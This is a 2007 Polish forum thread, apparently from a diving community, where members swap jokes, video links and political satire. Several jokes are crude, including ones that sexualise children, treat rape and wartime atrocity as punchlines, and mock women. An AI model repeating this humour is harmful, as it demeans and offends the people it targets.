- i ci właśnie zdadzą

[ Dodano: Wto 24 Lip, 2007 ]
Jasiu mówi do taty:
- Tatoo czy ty mnie kochasz?
- taaa - odpowiada tatuś,
- a możesz przestać? - kontynuuje Jaś,
- nieee - sapnął tata,
- a czemu?
- bo dochodzę.

[ Dodano: Wto 24 Lip, 2007 ]
Małgosia ma pierwszą miesiączkę, nie wie biedna, co się stało
i pokazuje swój problem Jasiowi. Jasio ogląda z wielkim zainteresowaniem i rzecze
- Nie wiem, Małgośka, na Mój gust to ci jaja urwało.

[ Dodano: Wto 24 Lip, 2007 ]
Wnuk pyta dziadka:
- Dziadku gdzie są najlepsze dla faceta wakacje?
- W Moskwie - odpowiada dziadek
- W Moskwie? Dlaczego?
- Wchodzisz do sklepu, bierzesz co chcesz, wychodzisz i nic Ci nie robią. Idziesz ulicą, gość Ci się nie podoba, lejesz go po pysku i nic Ci nie robią. Widzisz panienkę, bierzesz ją w krzaki, robisz co trzeba i nic Ci nie robią.
Wnuk kupił bilet do Moskwy. Dojechał, wchodzi do sklepu bierze z półki wódkę, wychodzi... i od razu klepie go ochrona. Wkurzony idzie ulicą, podchodzi do jakiegoś przechodnia, wali go w pysk i... dostaje straszne manto. Cały poobijany idzie parkiem, patrzy-panienka. No to w krzaki ją, ale niestety złapała go policja, zabrała na dołek i spuściła manto.
Zdołowany wnuk wraca do Polski opowiada o wszystkim dziadkowi, a ten się pyta:
- No a z kim byłeś na tej wycieczce?
- No z Orbisem - odpowiada wnuk
- No widzisz, a ja z Wehrmachtem.

[ Dodano: Wto 24 Lip, 2007 ]
Siedza dwie Goralki na plocie i plotkuja, plotkuja po czym jedna
mowi do drogiej :
- Oj Maryna cza mi Cie bedzie pozegnac, widze idzie Franek z
kwiatami
trza mu bedzie dupy dac !
- A co to u was flakona nie ma

delfin84 - 27-07-2007, 22:42

http://pl.youtube.com/watch?v=eT_lCWYrfIM ;-) koles jest dobry :22:
gorcio - 28-07-2007, 08:48

delfin84 napisał/a:
koles jest dobry :22:

Nie dosc, ze zenujace, to powinno sie tym "reportereom" po mordach nastrzelac ...

jcsjacekj - 28-07-2007, 09:44

delfin84 napisał/a:
http://pl.youtube.com/watch?v=eT_lCWYrfIM ;-) koles jest dobry :22:


W czym ? W spieprzaniu sobie życia piciem ?

Rozumiem że to Twoj wzór osobowościowy do ktorego dążysz ?

FotoMiś - 28-07-2007, 11:41

Czepiasz się laski. Jestem pewien, że z czasem poczucie humoru jej się wyrobi i zacznie doceniać bardziej subtelne żarciki, np gdy gruba baba wywali się na skórce od banana albo coś w tym stylu. :22:

Michał

Tomek Radomski - 28-07-2007, 14:48

http://pl.youtube.com/wat...related&search=
delfin84 - 28-07-2007, 19:37

[quote="FotoMiś"]Czepiasz się laski. Jestem pewien, że z czasem poczucie humoru jej się wyrobi i zacznie doceniać bardziej subtelne żarciki, np gdy gruba baba wywali się na skórce od banana albo coś w tym stylu. :22:

noo właśnie,,, jcsjacekj :???: czepiasz sie a co do wzoru osobowości wyciągasz zbyt pochopne wnioski na podstawie jednego "głupiego" filmu :roll:
ale mniejsza o to jak kos ma czepialski charakter to zawsze znajdzie dziurę w całym...
ok ale dosc tych wywodów ;-) z tego to juz na pewno będziesz sie śmiał... ;-)
http://www.videotube.sk/v...0-801-autoskola :mrgreen:

woodnik - 28-07-2007, 20:06

Przychodzi baba do lekarza a lekarz mówi,Proszę tak często nie przychodzić. Ludzie już o nas mówią:))
martin - 30-07-2007, 21:06

Pewnego razu pastuch przepędza swoje owce z jednego pastwiska na drugie. Nagle, w kłębach kurzu i z rykiem silnika zatrzymało się przy nim nowiutkie BMW. Kierowcą był młody człowiek w garniturze Prada, butach Gucci, okularach Dior... (you get the point). Typowy Yuppie.
Koleś wystawił łeb przez opuszczana szybkę i pyta pastucha:
- Jeżeli powiem ci ile dokładnie masz owiec w stadzie, dasz mi jedną z nich?
Owczarz popatrzył na typa, na swoje stado i odpowiedział:
- Jasne, czemu nie?
Yuppie wysiadł z auta. Wyciągnął notebook DELL podłączony do komórki AT&T. Połączył się z Internetem, wszedł na stronę NASA i za pomocą GPS dokładnie określił swoją pozycję. Następnie podał ja do innego satelity NASA, który zrobił zdjęcie obszaru w wysokiej rozdzielczości.
Młody człowiek otworzył zdjęcie używając Adobe Photoshop, przekonwertował plik i wysłał go do centrum obróbki zdjęć cyfrowych w Hamburgu. Po kilku sekundach na palmtopa przyszedł mail informujący go, ze zdjęcie zostało obrobione i podający adres,
pod którym zostały zmagazynowane dane. Kolo wszedł więc do bazy danych SQL i ściągnął dane, a następnie nakarmił nimi arkusz Excel wypchany setkami skomplikowanych formułek. Po otrzymaniu wyniku wydrukował na swojej
mini drukarce HP LaserJet pełny 150-stronicowy raport. Podał go pastuchowi i powiedział:
- Masz w stadzie 1586 owiec.
- To prawda - powiedział owczarz. - Jak przypuszczam, chcesz teraz wybrać sobie jedna z nich?
- Naturalnie.
Owczarz stał spokojnie, obserwując młodego człowieka rozglądającego się wśród stada, wybierającego zwierzaka, a następnie pakującego go do bagażnika nowiutkiego BMW. Owczarz odezwał się znowu:
- Ty, a jak ja tobie powiem jaki jest twój zawód, to oddasz mi zwierzaka?
Yuppie pomyślał przez chwilkę, a następnie odparł:
- Jasne, czemu nie?
- Jesteś konsultantem - powiedział pastuch.
- O rany, niesamowite! Jak zgadłeś?
- Nie musiałem zgadywać, to oczywiste - rzekł owczarz. - Zjawiłeś się tutaj nie wzywany; żądając zapłaty za odpowiedź, którą znałem; na pytanie, którego nigdy nie zadawałem. A w dodatku gówno wiesz o mojej robocie! Oddawaj psa!!!

Mania - 30-07-2007, 22:29

martin - to bylo kiedys o konsultantach Arthura Andersena......
:22:
Mania

jarek176 - 31-07-2007, 13:25

http://img182.imageshack....shot0001dp8.jpg

:mrgreen:

Mania - 31-07-2007, 16:52

sorki, ze w langlydzu, ale to takie cudne.....

One day a father gets out of work and on his way home he suddenly
remembers that it's his daughter's birthday.

He pulls over to a toy shop and asks the salesperson, "How much for one
of Those Barbie's in the display window?"

                     The salesperson answers,

                    "Which one do you mean, sir? We have:

                     Work Out Barbie for $19.95,

                     Shopping Barbie for $19.95,

                     Beach Barbie for $19.95,

                      Disco Barbie for $19.95,

                      Ballerina Barbie for $19.95,

                      Astronaut Barbie for $19.95,

                      Skater Barbie for $19.95,

                      and Divorced Barbie for $265.95"

The amazed father asks: "You what?! Why is the Divorced Barbie $265.95 and the others only $19.95?

The annoyed salesperson rolls her eyes, sighs, and answers: Sir...,
"Divorced Barbie comes with:
Ken's Car, Ken's House, Ken's Boat, Ken's Furniture, Ken's Computer
and...One of Ken's Friends.

Łukasz M. - 31-07-2007, 16:57

Mania napisał/a:
sorki, ze w langlydzu, ale to takie cudne.....


Gdzieś już ten kawał widziałem w poliszu ;-)

Mania - 31-07-2007, 17:08

To daj...mam dzis lenia i nie chce mi sie tlumaczyc. W ogole nic mi sie nie chce...
Ale znalezione dzis na allegro:

http://www.forum.vw-passa...ow_item.php.htm

:mrgreen: :mrgreen: :mrgreen:

Mania

Zibi72 - 31-07-2007, 18:32

Dobre dobre ... była jeszcze wersja bez "...One of..."na końcu.
Aston - 06-08-2007, 18:21

Miś przychodzi do zająca i pyta
-Chcesz się przejechać moim nowym motorkiem?
-Jasne.
No i jadą... 10km/h ,40km/h ,100km/h
Misio zaczyna czuć, że coś z tyłu mokro.
-Zając! Zsikałeś się ze strachu?!
-Tak misiu zsiusiałem się, tak szybko jechałeś...
Ale zajączkowi było głupio i kupił szybszy motorek. Zaprosił misia i jadą. Kiedy doszło do 150km/h zajączek poczuł, że coś z tyłu mokro.
-Misiak!Zsikałeś się ze strachu?!
-Tak zajączku, tak szybko jechałeś...
-To zaraz się zesrasz, bo nie dosięgam do hamulca!

I - 10-08-2007, 14:28

Jako, że w Warszawie idzie przegląd filmów "British Funways" warto sobie przypomnieć:
Nick Parks - Zoo Interview
:20: :muu:
P.
I

PS.
I jeszcze "w promocji" luźno związana gierka:
Don't shoot the poppy

Arecki - 10-08-2007, 18:35

Młoda uczennica Wielkiego Hinduskiego Mistrza Tao prosi swojego guru o radę:
- Mistrzu, chciałabym zrobić coś wielkiego! Coś wielkiego i czystego! Co powinnam zrobić?
- Niech Pani umyje słonia...

sabina - 11-08-2007, 17:59

To był zimny listopadowy poranek.
Wacek z chęcią by poszedł już do domu.
Ręce mu zgrabiały i ogólnie było mu już zimno. Nieduża renta skończyła się już jakieś cztery dni temu o czym przypominało mu doskwierające ssanie w żołądku. Zimny wiatr zmarszczył wodę niedaleko nieruchomego spławika wędki..
- Chyba dzisiaj już raczej nic nie złapię - pomyślał Wacek i już miał zwijać tak zwany mandźur, gdy spławik zniknął pod wodą. Wacek zaciął i już po chwili miał na haczyku sporych rozmiarów złotą rybkę...
- Ozdobna jakaś… - pomyślał Wacek gdy rybka odezwała się ludzkim głosem: - Wacku... Wacku!! Wypuść mnie, a spełnię twoje trzy życzenia…
Wieczorem po pewnej kawalerce rozszedł się apetyczny zapach… Wacek z lubością wciągnął go w płuca… Zadziwiające jak mu się ten węch wyostrzył odkąd ogłuchł 10 lat temu...

[ Dodano: 11-08-2007, 18:00 ]
Winnetou i Old Sutherhand zabłądzili na pustyni. Zmęczony Old Sutherhand mówi do swego przyjaciela:
- Wystrzel, może nas ktoś usłyszy.
Winnetou wystrzelił, jednak nikt się nie zjawił. Po chwili Old Sutherhand mówi znów:
- Wystrzel jeszcze raz. Może teraz ktoś usłyszy.
Winnetou znów wystrzelił. Czekają dłuższą chwilę i znów nikt się nie pojawia.
- Wystrzel jeszcze raz!
- Dobrze, ale to już ostatnia strzała!

[ Dodano: 11-08-2007, 18:00 ]
Supermarket. Stojąca przy dziale kosmetycznym hostessa z uśmiechem zachwala przechodzącemu facetowi towar:
- Polecam nowy model szczoteczki do zębów "Oral-be", która myje zęby nawet w trudno dostępnych miejscach.
Facet:
- Ja nie mam zębów w trudno dostępnych miejscach.

Hamer - 13-08-2007, 23:40

Statek badawczy kolejny miesiąc tuła się po oceanie. Załoga po cichu zaczyna
popijać z tęsknoty za lądem. Kapitan postanowił przerwać te bezeceństwa i
zebrał całą załogę na pokładzie:

- W związku z zaobserwowanymi przypadkami pijaństwa na pokładzie,
zobowiązuję wszystkich do wyrzucenia całych zapasów wódki do morza!

Na pokładzie zaległa grobowa cisza. I nagle gdzieś, z tylnych rzędów rozlega
się radosny głos:

- Kapitan ma rację! To jest hańba! Bez dwóch zdań należy cały zapas alkoholu
wyrzucić za burtę!

Załoga zaszokowana. Po chwili odzywa się bosman:

- Hej, wy tam z tylnych rzędów! Czy ktoś udzielił głosu nurkom?

mysiar - 23-08-2007, 17:04


Jaga19 - 24-08-2007, 21:46

Zaszłyszane w ,,Szkle kontaktowym":

Mowa jest srebrem, a nagranie złotem.

Uleczyłem Temidę, już nie jest ślepa-dr Ziobro.

Mam haka, szukam gwoździa-młotek.

Co wpłynęło dziś do laski marszałkowskiej i czy jest uleczalne?

Jaga19

mysiar - 24-08-2007, 23:16



[ Dodano: 24-08-2007, 23:17 ]


[ Dodano: 24-08-2007, 23:18 ]


[ Dodano: 24-08-2007, 23:19 ]

anoolka - 25-08-2007, 13:18

ach te sprawy techniczne, informatyczne etc
mysiar - 27-08-2007, 08:58

Chiński szpital

Marcin_alien - 30-08-2007, 06:35

skoro jestesmy w tematach medycznych:

- przychodzi baba do lekarza,
... a lekarz w Londynie
:smok:

Jaga19 - 30-08-2007, 09:02

Marcin_alien napisał/a:
przychodzi baba do lekarza,


-W jakich porach pan przyjmuje?
....w sztruksach.

Pozdr.

sabina - 30-08-2007, 10:49

No to ja po myśliwsku...
Wiadomo, że głównym powodem, dla którego męzczyźni poluja jest możliwość ucieczki z domu... Ale zdarzyło się pewnego razu, że i żona była myśliwką. Mąż-mysliwy kombinował jak się tylko da, żeby żona nie chciała łazić za nim na łowy. Jednego dnia wstał p cichutku, tup, tup tup... ale oczywiście żona usłyszała i lezie za biednym chłopem. Mąż myśli sobie: no już ja Cię urządzę, posadzę Cie na takiej ambonie, gdzie nie ma szansy, aby cokolwiek wyszło... wynudzisz się jędzo i odechce Ci się łażenia po lesie. I jak pomyslał tak uczynił. Po dwóch godzinach słyszy :snajp: :snajp: :snajp: :snajp: ... Myśli sobie: co jest??? Biegnie czym prędzej do miejsca, gdzie ją zostawił i słyszy krzyki żony: Oddaj mojego jelenia!!! Oddaj mojego jelenia!!! Oddaj jelenia!!! A z drugiej strony męski głos: A bierz sobie jelenia głupia babo! Tylko siodło mi zostaw!!!

Darzbór
Sabcia

KasiaK - 30-08-2007, 17:44

Wokół samicy pływa wieloryb i narzeka:
- Dziesiątki organizacji ekologicznych, setki aktywistów, tysiące polityków i naukowców, dziesiątki tysięcy ludzi na manifestacjach, rządy w tylu krajach robią wszystko, by zachować nasz gatunek, a ciebie cholera, głowa boli...

Jaga19 - 01-09-2007, 10:35

FotoMiś napisał/a:
Czepiasz się laski.


Zaraz tam czepia się. Ukierunkowuje ją i dobrze robi.

FotoMiś napisał/a:
poczucie humoru jej się wyrobi i zacznie doceniać bardziej subtelne żarciki, np gdy gruba baba wywali się na skórce od banana albo coś w tym stylu. :22:



Zapewne wyrobi jej się subtelniusie poczucie humoru.
Uśmiałam się, dzięki:-)

Pozdrawiam

[ Dodano: 01-09-2007, 10:45 ]
A Twój film Delfino84 ,,Autoskola" z Asią-Blondyną doprowadzającą instruktora jazdy do szału jest rewelacyjny:-)

Wcześniej go jakoś przeoczyłam.

KasiaK - 03-09-2007, 11:29

Mąż budzi żonę w nocy:
- Kochanie, obudź się - mam dla ciebie tabletkę na ból głowy.
- Odczep się, przecież mnie nic nie boli.
- Ha, mam cię!

delfin84 - 03-09-2007, 12:55

dzięki Jaga 19 za komentarz :): ):)no co do mojego poczucia humoru ciągle sie wyrabia to jest tak z pierwszym nurkowanie nie każdemu obrazu wszytko ładnie pięknie wychodzi :) ale postanowienie poprawy jest :bee;
Jaga19 - 04-09-2007, 12:08

delfin84 napisał/a:
ale postanowienie poprawy jest

Więcej wiary w siebie, jesteś ważnym człowiekiem i tu pozwolę sobie walnąć Cię przyjaźnie w plecy.
Pozdrawiam

The_PiotREX - 04-09-2007, 22:57


delfin84 - 04-09-2007, 23:23

:bee; ten by sie przydał do targania twinow :v: ( 1.30min ) Jaga 19 kiedy wybierzemy sie na nurka :ping: ;) ?
Jaga19 - 05-09-2007, 08:10

delfin84 napisał/a:
ten by sie przydał do targania twinow

Misiek jest cholernie przystojny, ale targać twiny, to już prędzej ja, choć nie nuram i raczej nie będę.
Natomiast wszelkie sporty nawodne zawsze bardzo chętnie, bo woda to mój żywioł.
Pozdrawiam Cię.

jcsjacekj - 05-09-2007, 18:18

delfin84 napisał/a:
ten by sie przydał do targania twinow


Podobno Pudzian to kawaler, wiec startuj :D

delfin84 - 05-09-2007, 18:51

jcsjacekj napisał/a:


Podobno Pudzian to kawaler, wiec startuj :D


hahahaha :bee; :oops: ale ja go nie znam osobiście a poza tym na pierwszej randce nie wypada - tak odrazu mu kazać targać moje 2*10 :bee;

a to cos dla was faceci :bee;

Na świecie istnieje tylko jedna zasada - musisz uszczęśliwiać kobiety!
- Zrób coś, co ona lubi, a nabijesz za to punkty -Zrób coś, czego ona nie
lubi, a stracisz punkty
- Zrób coś, co ona lubi i oczekuje tego od Ciebie - a nie dostaniesz za to
żadnych punktów

Zacznijmy od podziałki systemu punktowego - wygląda to następująco:

1) Proste obowiązki

Ścielisz łóżko: +1
Ścielisz lóżko, ale zapominasz ułożyć na nim ozdobnych poduszeczek: 0
Po prostu rzucasz kołdrę na pogniecione przescieradło: -1
Idziesz jej kupic extra cienkie podpaski ze skrzydełkami: +5
Robisz to samo w burzę snieżną: +8
Wracasz z tych zakupów, ale z piwem: -5
Wracasz z wyprawy po podpaski z piwem, ale bez podpasek: -25
Nocami sprawdzasz szelesty, które wydają się jej podejrzane: 0
nie znajdując niczego: 0
Jeżeli coś znajdziesz: +5
Zabijasz to kijem do golfa: +10
Gdy to był jej kot: -40

2) Zobowiązania socjalne

Przez całe party zostajesz u jej boku: 0
Zostajesz chwilę u jej boku, a potem idziesz do
- kolegi: -1
- kolega ma na imię Agnieszka: -4
- Agnieszka jest tancerką: -6
- z powiększanym biustem: -18
Na jej urodziny zabierasz ją na niezłe jedzenie: 0
Nie jest to bar szybkiej obslugi: +1
Jest to bar szybkiej obsługi: -2
Jest to knajpa z ekranem do transmisji sportowych: -3
Ta sama knajpa z transmisjami "live": -10
. a Ty pomalowałeś twarz w barwy klubowe: -50

Wychodzisz z kumplem: -5
Twój kumpel jest szczęśliwie żonaty: -4
. jest kawalerem: -7
Jeździ sportowym samochodem: -10
. i to włoskim ...: -25

Idziesz z nią do kina: 0
Na film, który jej się podoba: +1
Na film, którego Ty nienawidzisz: +5
Na film, który Tobie sie podoba: -2
Na film, w którym cyborgi pożerają ludzi: -9
. wcześniej ją okłamujesz i mówisz, że będzie to
film o miłości: -15

3) Twój wygląd

Rośnie Ci widoczny brzuch: -10
To samo, ale trenujesz, by się go pozbyć: +8
To samo, ale Ty przerzucasz się tylko na szelki: -25
. i nosisz koszule typu Hawaje -35
Mówisz "nic nie szkodzi", bo ona ma podobny: -800

4) Pytania kłopotliwe

Ona: Czy jestem za gruba?
Zwlekasz z odpowiedzią: -10
Pytasz: Gdzie?: -35
Każda inna odpowiedź: -20

5) Komunikacja

Sluchasz jej: 0
. i próbujesz wyglądać na skoncentrowanego: -10
. ponad 30 minut: +5
Ponad 30 minut podczas transmisji meczu w telewizj:i +12
Robisz to samo nie spogladając ani razu na ekran: +100
Robisz to samo, ale ona odkrywa ze zasnąleś: -200

(Uwaga: punkty dodatnie przepadają po 2 dniach,
punkty ujemne w ogóle nie tracą ważności) ;-)

jcsjacekj - 06-09-2007, 21:20

delfin84 napisał/a:
[ciach] Zacznijmy od podziałki systemu punktowego - wygląda to następująco: [ciach]


Cos mi sie wydaje, ze kazdy facet w tym systemie jest na minusie.

To jest szowinistyczny system ocen.

Ale co by nie mowic - smieszny :)

Pisklak - 07-09-2007, 10:37

Kiedy Jacek z Plackiem alias Lech z Jarkiem ukradli już księżyc, na
ich drodze stanęła czarownica z kotem na ramieniu. Chłopcy wiedzieli
już wtedy, że świadków przestępstwa trzeba się pozbywać. Nie mieli jednak
tyle odwagi by zabić stojących im na drodze. Dlatego Lech wziął
czarownicę, a Jarosław kota...

Efraim Ryba - 07-09-2007, 14:24

Towarzystwo na balu zabawia się rozmową:
- Drodzy państwo, proszę odgadnąć moją zagadkę, dodam, że bardzo pikantną
- Natasza zabiera głos - co to jest: czarne i można o to rozbić jajko?
- Siodło! - wyrywa się Rżewski.
- Fuj, co za chamstwo - oburzają się damy - to oczywiście patelnia!
- No, no, no - prawda - rzecze Rżewski głęboko się zamyślając - patelnią po jajcach... naprawdę pikantne... i kto tu jest chamem...?

delfin84 - 12-09-2007, 23:18

:mrgreen: http://pl.youtube.com/watch?v=BzfPNM45xec
koles powala,,, ciekawe czy tak mazna pod woda ? :bee;

Jaga19 - 13-09-2007, 08:26

delfin84 napisał/a:
ciekawe czy tak mazna pod woda ?


Można prawie wszystko, tylko dużo wolniej.

Mały ma charakterek, jest fantastyczny i pięknie się ,,łamie"

Grzyb - 13-09-2007, 16:32

> Wyszła dziewczyna za mąż za chłopaka z Syberii i pojechała
> do niego do domu. Rozpakowywuje się i idzie
> do kuchni, zagląda pod stół i zdziwiona pyta:
> - Czemu nie trzymasz chomików w klatkach???
> - To karaluchy w futrach...

DarekS - 13-09-2007, 21:27


VooDoo_73 - 13-09-2007, 23:19

Darek, to jakaś autocenzura?
M.

kiwigirl - 14-09-2007, 09:39

ten młody jest niesamowity !!!
Jaga19 - 16-09-2007, 00:04

- Na co dysocjuje Hg?

Studentka pierwszego roku chemii na proseminarium:
- Na H(wodór) i na g(grawitację)

jcsjacekj - 16-09-2007, 10:33

Gosciu robi niesamowite rzeczy na parkiecie ...


Beeker - 18-09-2007, 10:30

Co premier wpisuje w rubryce zawód?

"Kaczmarek" :D

[ Dodano: 18-09-2007, 10:31 ]
Nowy polski produkt: Ziobrówka, czyli słaby adwokat na kaczych jajach :D

Zibi72 - 19-09-2007, 08:01

Fart dance -miłego oglądania
P.S.
dla widzów o mocnych nerwach ;P

I jeszcze jeden dino .

Arecki - 19-09-2007, 15:13

Apple Computer announced today that it has developed a computer chip that can store and play music in women's breast implants.

The iBreast will cost £499 to £599.

This is considered to be a major breakthrough because women are always complaining about men staring at their breasts and not listening to them

KasiaK - 19-09-2007, 18:13

takie czary mary ;-)
jcsjacekj - 19-09-2007, 18:15

Arecki napisał/a:
Apple Computer announced today that it has developed a computer chip that can store and play music in women's breast implants.
The iBreast will cost £499 to £599.


To nie kawal, podobno to implant na Bluetooth'cie i player MP3.

FotoMiś - 22-09-2007, 00:42

Cytata zdecydowanie nie z Tacyta:

<ubu> wszyscy tak najeżdżają tak na ten PiS
<ubu> a ja jednak jestem im za coś wdzięczny
<ubu> przez wszystkie poprzednie rządy miałem mnóstwo dylematów
<ubu> teraz został mi jeden:
<ubu> Irlandia czy Londyn?

Jaga19 - 22-09-2007, 09:15

FotoMiś napisał/a:
Cytata zdecydowanie nie z Tacyta:

Ta cytata nawet nie leżała koło dowcipu, a jej przesłanie jest mega smutne.

VooDoo_73 - 22-09-2007, 09:36

Cytata może nie z Tacyta, ale blisko innego klasyka - i tu konkurs: kto powiedział "Tam ojczyzna, gdzie dobrze"?

Pozdrawiam
Marcin

Jaga19 - 22-09-2007, 10:01

Gdzie dobrze, tam ojczyzna Arystofanes.
Będą nagrody?

VooDoo_73 - 22-09-2007, 10:30

ibi patria, ibi bene
ponoć Seneka... ale może oni tam tez nie przestrzegali praw autorskich :)

jcsjacekj - 22-09-2007, 11:55

VooDoo_73 napisał/a:
i tu konkurs: kto powiedział "Tam ojczyzna, gdzie dobrze"?


Niestety w czasach wyszukiwarek internetowych na takie pytania odpowie kazdy kto umie wkleic Twoje pytanie do wyszukiwarki internetowej ... i dostaje odpowiedz -> http://www.google.com/sea...=utf-8&oe=utf-8

Jaga19 - 22-09-2007, 12:25

jcsjacekj napisał/a:
kazdy kto umie wkleic Twoje pytanie do wyszukiwarki internetowej ... i dostaje odpowiedz ->

Jasne, że tak:-)
Regulamin konkursu nie wykluczał wyszukiwarek, więc będzie nagroda?

Pozdrawiam

VooDoo_73 - 22-09-2007, 13:01

nie wykluczał, uwzględniał i zakładał, że zwycięzca wykaże się refleksem.
Nagroda zostanie przyznana po otrzymaniu z IPN dokumentów wykluczających współpracę uczestników ze służbami :)
M.

[ Dodano: 22-09-2007, 13:02 ]
dodatkowo, w ramach zmyłki pojawiła się żywa literówka w martwym języku. w ramach konkursu można wskazać gdzie :)

Pisklak - 24-09-2007, 13:48

dla forumowych 'mądrali' ;-) z cyklu 'pismo do operatora' :-)
Rumelia - 24-09-2007, 16:52

Samochwała...

Samochwała w kącie stała
I tak rok podsumowała:
Zdolny jestem niesłychanie,
Mam na świecie poważanie,
W kraju - same osiągnięcia:
Dłuższe życie (od poczęcia),
Koalicja - wzór współpracy,
Z Sejmu - dumni są Rodacy,
Rząd najlepszy od półwiecza,
Skupił się na wielkich rzeczach.
Kompetentni ministrowie,
Każdy poseł - ideowiec,
Z zasadami, jak husaria:
Bóg, Ojczyzna, Honor(aria).
Dla Narodu - becikowe,
Nowy peron we Włoszczowie.
Lepiej żyje się rodzinom
(Jednej mamie i dwóm synom).
Okno na świat - otworzone,
Turystyka - w jedną stronę,
Lepsza praca, wyższa płaca
(Zwłaszcza, jeśli ktoś nie wraca).
Gospodarka rozpędzona:
Są mieszkania (trzy z miliona),
Jest kilometr autostrady,
Ład moralny i zasady.
Politycznej wzrost kultury
(Nurt plebejski, przykład z góry),
Nie ma WSI (choć jeszcze trochę,
A zrobimy wszędzie wiochę).
Cały naród żyje w zgodzie.
IPN - i po narodzie.
CBA - udane akcje,
Super MEN - co rusz, atrakcje.
W szkołach nie ma już Darwina,
Będzie dryl i dyscyplina,
Nie podskoczy żaden gieroj!
Tolerancji nie ma! Zero!
Żadnych gejów, Ferdydurek,
Jest amnestia i mundurek!
Wolność słowa i pluralizm
(Bo rządzących wolno chwalić).
Jest religia na maturze,
Wierny Lud na Jasnej Górze.
Nie rozumie tylko Unia:
Rząd z Warszawy, czy z Torunia?
Krótko mówiąc: Rok udany!
Tylko naród...do wymiany.

KasiaK - 24-09-2007, 17:05

nie wiem czy było,
ale dzis to dostalam i sie poplakalam ze smiechu


Pewna panienka z tzw. prowincji namiętnie kochała kino. Cały ten filmowy świat kusił tak mocno, że postanowiła zostać aktorką. Nie była zbyt rozgarnięta, więc nie wiedziała jak się do tego zabrać. Ktoś znajomy poradził jej:
- Skontaktuj się z Polańskim, ten podobno lubi pomagać dziewczynom...
Któregoś dnia będąc w Warszawie udała się do Polsatu. Zagubiona wśród wielu ludzi w budynku, nie wiedziała gdzie iść. Korytarzem akurat przechodził jakiś młody facet z wielkim statywem na plecach. Wyglądał na ważnego, więc panna zagaduje:
- Przepraszam pana, bardzo zależy mi na rozmowie z Romanem Polańskim. Czy mógłby mi pan pomóc?
- Dziewczyno, Polański mieszka we Francji i załatwienie takiej rozmowy to co najmniej 300 złotych. Masz tyle!?
Panienka:
- Nie mam żadnych pieniędzy, ale zrobiłabym wszystko aby porozmawiać z panem Polańskim.
- Wszystko??
- Tak... Wszystko!!
Po takim oświadczeniu, facet każe dziewczynie iść za sobą.
Wchodzi do najbliższego pustego pokoju i mówi do niej:
- Zamknij drzwi i chodź tu.
Zrobiła to co powiedział. A on wtedy pokazując na swoje spodnie:
- Klękaj na kolana i otwórz ten suwak. Otworzyła.
- Wyjmij to co tam jest.
Wyjęła, trzymając jego penisa w obu rekach. Wtedy facet powiedział:
- Dobra, zaczynaj.
Dziewczyna zbliża usta i cichutko:
- HALO... PAN ROMAN???

jankos - 24-09-2007, 20:16

Jak czytałem pismo które wkleił w tym wątku parę postów wyżej Pisklak, to mi się jakoś tak ze Smokiem skojarzyło...
Komuś też?

Pozdrawiam - jankos.

KasiaK - 25-09-2007, 11:21

Jasio przybiega do mamy i mówi:
- Mamo, mamo, widziałem jak tatuś robił coś z pokojówką!!!
- Tak, a co takiego?
- Najpierw ją całował, a potem dotykał... Potem poszli do gabinetu, rozebrał ją i wsadził...
- Dobrze, synku, w niedziele, podczas kolacji opowiesz to, żeby wszyscy wiedzieli.
Nadeszła niedziela, rodzina przy stole i mama daje znak Jasiowi żeby zaczął mówić.
Jasio:
- No więc tatuś całował i dotykał pokojówkę, później zabrał ją do gabinetu, rozebrał i wsadził... Wsadził... Mamo jak się nazywa to co ssiesz szoferowi?

[ Dodano: 27-09-2007, 11:45 ]
-babciu widzialas moje tabletki? byly oznaczone LSD
-pier***ić tabletki, widziales kur*a smoka w kuchni?

depech64 - 04-10-2007, 10:26

- Babciu, a dlaczego masz takie wielkie oczy?
- Bo od tygodnia szukam dowodu.
:D :D:D

FotoMiś - 06-10-2007, 13:20

Donald Tusk trafił do nieba. Oprowadza go św. Piotr i mówi:
- Widzisz Donaldzie, u nas każdy człowiek ma swój zegar... Jak powie jakieś kłamstwo, to wskazówka przesuwa się o jedną minutę. Tu jest twój zegar, jak widzisz, wskazówka spoooro się przesunęła. A popatrz na zegar Matki Teresy, stoi jak stał na godzinie 12!
- A gdzie zegary braci Kaczyńskich? - pyta Tusk.
- Pracują na korytarzu jako wentylatory. :>

[ Dodano: 09-10-2007, 19:39 ]
Przed knajpę zajechał wóz sportowy, a z niego wyszedł szałowo ubrany extra facet. Podchodzi do niego żebrak - brudny, śmierdzący i prosi o kasę.
- Daj trochę forsy bo umrę z głodu i moje dzieci.
Po chwili zastanowienia, facet sięga do kieszeni i wyciąga stówę, i podaje... ale cofa rękę i mówi:
- Na pewno przepijesz!!??
- Nieeee!!!!! ja jestem abstynentem, nie piłem wódki już od 10 lat!!!!
Znowu facet podaje żebrakowi banknot, ale ponownie cofa rękę i mówi:
- Na pewno zaraz wydasz na fajki
- Nieee!!!! ja nigdy nie paliłem papierosów!!!!!
Znowu facet podaje pieniądze i ponownie cofa rękę:
- To stracisz na dziwki!!??
- W życiu!!!, nie interesują mnie żadne kobiety, tylko moja żona i dzieci!
Po namyśle facet otwiera drzwi od swojej gabloty i mówi:
- Wsiadaj!!
- Ja??!!?!!? Przecież jestem brudny!!, śmierdzący!!! pobrudzę w środku!!!!!
- Wsiadaj, mówie! Pojedziemy do mojej żony.... Chcę jej pokazać jak wygląda facet, który nie pije, nie pali i nie chodzi na dziwki.

tsharny - 15-10-2007, 15:03

Rosyjscy neurolodzy odkryli nerw, który ewidentnie łączy oko z tyłkiem.
Dowodem na to był przeprowadzony eksperyment:
Pacjenta najpierw ukłuto igłą w tyłek i natychmiast w oku pojawiła się łza.
Następnie tą samą igłę wbili mu w oko, pacjent natychmiast się zesrał.

Jaga19 - 16-10-2007, 14:52

Z kabaretu,,Potem"

Dziewczę:
-Kukułko, wykukaj mi, za ile lat wyjdę za mąż.

Kukułka:
-Zwariowało dziewczę, zakukałabym się na śmierć.

Arecki - 16-10-2007, 15:56

Wraca facio, pijany jak bak, trzecia nad ranem, smierdzi prostytutkami,
wóda, dymem i czym sie jeszcze da. Na palcu brak obraczki...
Zona wkurzona z ryjem:
- Gdzies ty byl ?!?!! Gdzie obraczka ?!?!!?
- Kochaaaaiiee, zarrraz si szyssskoo wyytuumaczeem...
I tak powstal "Wladca pierscieni"...

W czasie deszczu meteorytów pewien licealista nie potrafil sie zdecydowac z zyczeniem i w rezultacie zostal wlascicielem skutera z cyckami.

Puszor - 16-10-2007, 16:02

Cytat:
I tak powstal "Wladca pierscieni"...


buahahah! dobre

Jaga19 - 17-10-2007, 11:06

Rozmawia dwóch adminów:
